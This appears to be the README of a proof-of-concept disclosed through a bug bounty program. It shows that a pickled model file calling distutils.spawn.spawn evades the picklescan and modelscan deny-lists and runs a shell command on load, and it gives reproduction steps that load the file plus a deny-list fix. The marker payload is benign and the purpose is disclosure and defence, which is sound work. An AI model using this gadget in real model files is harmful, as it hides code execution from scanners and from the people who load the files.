Pickle Scanner Bypass via distutils.spawn.spawn (security PoC)
This is a benign security research proof-of-concept submitted to the huntr Model Format
Vulnerability program (Protect AI / Palo Alto Networks). It demonstrates that a malicious model
file passes picklescan 1.0.4 and modelscan 0.8.8 as clean, yet executes an OS command
when loaded. The embedded command is harmless (id โ a marker file in /tmp).
The bypass
The model's pickle invokes distutils.spawn.spawn(["sh","-c", "<cmd>"]). Per its own docstring,
spawn() "Run[s] another program, specified as a command list, in a new process" โ arbitrary
command execution. The command is plain pickle data, so the only import opcode the scanners
see is the GLOBAL distutils.spawn.spawn, which is on neither scanner's denylist.
picklescan blocks distutils.file_util ("arbitrary file write") but misses distutils.spawn.
Files
model.pklโ raw pickle PoCmodel.ptโ PyTorch package PoC (same gadget)
Reproduce
pip install picklescan modelscan torch setuptools
python -c "from picklescan.scanner import scan_file_path as s; print('infected_files=', s('model.pkl').infected_files)" # 0
modelscan -p model.pkl # No issues found! ๐
python -c "import pickle; pickle.load(open('model.pkl','rb'))"
python -c "import torch; torch.load('model.pt', weights_only=False)"
cat /tmp/huntr_poc_distutils_spawn # -> id output (proof of code execution)
Remediation
Add distutils.spawn (and the distutils package broadly) to picklescan's _unsafe_globals
and modelscan's denylist.
Reported by hacnho. The payload performs no harm; it only writes the output of id to a
temp file to prove code execution.